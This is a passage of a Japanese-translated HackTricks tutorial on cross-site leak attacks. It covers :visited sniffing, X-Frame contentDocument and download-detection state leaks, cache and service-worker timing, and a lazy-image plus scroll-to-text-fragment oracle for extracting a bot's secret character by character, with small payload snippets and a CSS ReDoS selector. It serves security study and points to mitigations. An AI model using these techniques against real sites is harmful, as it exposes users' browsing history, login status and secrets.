これによると、これはヘッドレスChromeでは機能しません。

CSSの :visited セレクタは、ユーザーが以前に訪問した場合にURLを異なるスタイルで装飾するために使用されます。過去には、getComputedStyle() メソッドを使用してこれらのスタイルの違いを特定することができました。しかし、現代のブラウザは、このメソッドがリンクの状態を明らかにするのを防ぐためのセキュリティ対策を実装しています。これらの対策には、リンクが訪問されたかのように常に計算されたスタイルを返し、:visited セレクタで適用できるスタイルを制限することが含まれます。

これらの制限にもかかわらず、リンクの訪問状態を間接的に見分けることは可能です。1つの技術は、ユーザーをCSSに影響を与える領域に対して操作させることを含み、特に mix-blend-mode プロパティを利用します。このプロパティは、要素とその背景をブレンドすることを可能にし、ユーザーの操作に基づいて訪問状態を明らかにする可能性があります。

さらに、リンクのレンダリングタイミングを悪用することで、ユーザーの操作なしに検出を行うことができます。ブラウザは、訪問済みリンクと未訪問リンクを異なる方法でレンダリングする可能性があるため、レンダリングにおける測定可能な時間の違いを生じさせることがあります。タイミングの違いを増幅するために複数のリンクを使用するこの技術を示す概念実証(PoC)が、Chromiumのバグ報告で言及されました。

これらのプロパティとメソッドの詳細については、ドキュメントページを訪れてください:

ContentDocument X-Frame漏洩

Chromeでは、X-Frame-Options ヘッダーが "deny" または "same-origin" に設定されたページがオブジェクトとして埋め込まれると、エラーページが表示されます。Chromeは、このオブジェクトの contentDocument プロパティに対して空のドキュメントオブジェクト(null の代わりに)を一意に返します。これは、iframe や他のブラウザとは異なります。攻撃者は、空のドキュメントを検出することでこれを悪用し、特に開発者がX-Frame-Optionsヘッダーを不一致に設定し、エラーページを見落とすことが多いため、ユーザーの状態に関する情報を明らかにする可能性があります。意識とセキュリティヘッダーの一貫した適用が、こうした漏洩を防ぐために重要です。

ダウンロード検出

Content-Disposition ヘッダー、特に Content-Disposition: attachment は、ブラウザにコンテンツをインラインで表示するのではなく、ダウンロードするよう指示します。この動作は、ユーザーがファイルダウンロードをトリガーするページにアクセスできるかどうかを検出するために悪用される可能性があります。Chromiumベースのブラウザでは、このダウンロード動作を検出するためのいくつかの技術があります:

  1. ダウンロードバーの監視:
  • Chromiumベースのブラウザでファイルがダウンロードされると、ブラウザウィンドウの下部にダウンロードバーが表示されます。
  • ウィンドウの高さの変化を監視することで、攻撃者はダウンロードバーの出現を推測し、ダウンロードが開始されたことを示唆できます。
  1. iframeを使用したダウンロードナビゲーション:
  • Content-Disposition: attachment ヘッダーを使用してファイルダウンロードをトリガーするページは、ナビゲーションイベントを引き起こしません。
  • コンテンツをiframeに読み込み、ナビゲーションイベントを監視することで、コンテンツの配置がファイルダウンロードを引き起こすかどうか(ナビゲーションなし)を確認できます。
  1. iframeなしのダウンロードナビゲーション:
  • iframe技術と同様に、この方法はiframeの代わりに window.open を使用します。
  • 新しく開かれたウィンドウでナビゲーションイベントを監視することで、ファイルダウンロードがトリガーされたかどうか(ナビゲーションなし)や、コンテンツがインラインで表示されているか(ナビゲーションが発生)を明らかにできます。

ログインユーザーのみがそのようなダウンロードをトリガーできるシナリオでは、これらの技術を使用して、ブラウザのダウンロードリクエストに対する応答に基づいてユーザーの認証状態を間接的に推測することができます。

パーティショニングされたHTTPキャッシュバイパス

warning

この技術が興味深い理由は、Chromeが現在キャッシュパーティショニングを持っており、新しく開かれたページのキャッシュキーは (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx) ですが、ngrokページを開いてfetchを使用すると、キャッシュキーは (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx) になります。キャッシュキーが異なるため、キャッシュは共有できません。詳細はこちらで確認できます: キャッシュのパーティショニングによるセキュリティとプライバシーの向上
こちらからのコメント)

サイト example.com*.example.com/resource からリソースを含む場合、そのリソースは、リソースがトップレベルナビゲーションを介して直接要求された場合と同じキャッシュキーを持ちます。これは、キャッシュキーがトップレベルの eTLD+1 とフレーム eTLD+1 で構成されているためです。

キャッシュにアクセスする方がリソースを読み込むよりも速いため、ページの位置を変更し、20ms(例えば)後にそれをキャンセルすることを試みることができます。停止後にオリジンが変更された場合、それはリソースがキャッシュされていたことを意味します。
または、潜在的にキャッシュされたページにいくつかのfetchを送信し、かかる時間を測定することもできます

手動リダイレクト

AbortControllerを使用したFetch

fetchsetTimeout を使用して AbortController で、リソースがキャッシュされているかどうかを検出し、特定のリソースをブラウザキャッシュから排除します。さらに、このプロセスは新しいコンテンツをキャッシュすることなく行われます。

スクリプト汚染

サービスワーカー

与えられたシナリオでは、攻撃者は自分のドメインの1つ、具体的には "attacker.com" 内で サービスワーカー を登録することから始めます。次に、攻撃者はメインドキュメントからターゲットウェブサイトに新しいウィンドウを開き、サービスワーカー にタイマーを開始するよう指示します。新しいウィンドウが読み込みを開始すると、攻撃者は前のステップで取得した参照を サービスワーカー によって管理されているページにナビゲートします。

前のステップで開始されたリクエストが到着すると、サービスワーカー204 (No Content) ステータスコードで応答し、ナビゲーションプロセスを効果的に終了します。この時点で、サービスワーカー は前のステップで開始されたタイマーからの測定値を取得します。この測定値は、ナビゲーションプロセスの遅延を引き起こすJavaScriptの持続時間によって影響を受けます。

warning

実行タイミングでは、ネットワーク要因を排除してより正確な測定値を取得することが可能です。たとえば、ページを読み込む前にページで使用されるリソースを読み込むことによってです。

Fetchタイミング

クロスウィンドウタイミング

HTMLまたは再インジェクションを使用して

ここでは、クロスオリジンHTMLから情報を抽出するための技術を見つけることができます。HTMLコンテンツを注入することができる場合に興味深い技術です。これらの技術は、何らかの理由でHTMLを注入できるが、JSコードを注入できない場合に興味深いです。

ダンギングマークアップ

Dangling Markup - HTML scriptless injection

画像の遅延読み込み

コンテンツを抽出する必要があり、秘密の前にHTMLを追加できる場合は、一般的なダンギングマークアップ技術を確認する必要があります。
ただし、何らかの理由で文字ごとに行う必要がある場合(キャッシュヒットを介して通信する場合など)、このトリックを使用できます。

HTMLの画像には、値がlazyである "loading" 属性があります。この場合、画像はページが読み込まれるときではなく、表示されたときに読み込まれます:

html
<img src=/something loading=lazy >

したがって、あなたができることは、秘密の前にウェブページを埋めるために多くのジャンク文字(例えば何千もの"W")を追加することです。または、<br><canvas height="1850px"></canvas><br>のようなものを追加します
例えば、私たちのインジェクションがフラグの前に現れる場合画像読み込まれますが、フラグの後に現れる場合、フラグ + ジャンクは読み込まれるのを防ぎます(どれだけのジャンクを置くかは調整が必要です)。これはこの書き込みで起こったことです。

もう一つのオプションは、許可されている場合はscroll-to-text-fragmentを使用することです

Scroll-to-text-fragment

ただし、あなたはボットにページにアクセスさせる必要があります。

#:~:text=SECR

ウェブページは次のようになります: https://victim.com/post.html#:~:text=SECR

ここで、post.html には攻撃者のジャンク文字と遅延読み込み画像が含まれ、その後にボットの秘密が追加されます。

このテキストは、ボットがページ内の SECR というテキストを含む任意のテキストにアクセスすることを可能にします。そのテキストは秘密であり、画像のすぐ下にあるため推測された秘密が正しい場合にのみ画像が読み込まれます。これにより、秘密を文字ごとに抽出するためのオラクルが得られます

これを悪用するためのコード例: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

画像の遅延読み込みに基づく時間

外部画像を読み込むことが不可能な場合、攻撃者に画像が読み込まれたことを示す別のオプションは、文字を何度も推測してそれを測定することです。画像が読み込まれると、すべてのリクエストは画像が読み込まれない場合よりも長くかかります。これは、この書き込みの解決策 に使用されたものです。ここに要約されています:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

jQuery(location.hash) が使用される場合、タイミングを通じていくつかのHTMLコンテンツが存在するかどうかを確認することが可能です。これは、セレクタ main[id='site-main'] が一致しない場合、残りのセレクタをチェックする必要がないためです。

javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSSインジェクション

CSS Injection

防御策

https://xsinator.com/paper.pdf およびウィキの各セクション https://xsleaks.dev/ で推奨される緩和策があります。これらの技術から保護する方法についての詳細は、そちらをご覧ください。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする